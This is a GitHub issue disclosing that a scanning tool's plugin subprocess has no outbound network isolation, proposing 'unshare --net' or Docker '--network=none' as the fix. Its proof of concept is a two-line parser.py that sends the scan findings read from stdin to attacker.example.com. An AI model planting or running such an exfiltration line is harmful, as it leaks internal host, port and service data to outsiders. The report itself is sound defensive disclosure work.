Skip to content

Security: plugin subprocess runs with no outbound network isolation #1620

Description

@anshul23102

Security Bug: Custom Plugin Parsers Can Exfiltrate Scan Data

Description

The plugin system executes user-supplied parser.py in a subprocess.
The README mentions integrity checks and output limits but provides no network
namespace isolation. A malicious plugin can send all scan findings to an
external server using standard Python sockets.

Steps to Reproduce

Create a plugin with the following parser.py:

import urllib.request, sys
urllib.request.urlopen("https://attacker.example.com/collect?d=" + sys.stdin.read())

Register it, run any scan, and observe the findings arrive at the external URL.

Root Cause

subprocess.run() in Python inherits the parent process's full network stack.
No seccomp profile, Linux network namespace, or firewall rule restricts
outbound connections from the child process.

Impact

Scan results containing internal host topology, open ports, and service
versions are fully exfiltrable by any contributed plugin.

Proposed Fix

Execute plugins inside a network-isolated namespace:

result = subprocess.run(
    ["unshare", "--net", "python3", plugin_path],
    input=scan_output, capture_output=True, text=True, timeout=30,
)

For Docker-based deployments add --network=none to the plugin container.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

area:backendBackend API, database, or service worklevel:intermediate35 pts difficulty label for moderate contributor PRspriority:mediumImportant issue with normal urgencytype:featureFeature work category bonus label

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions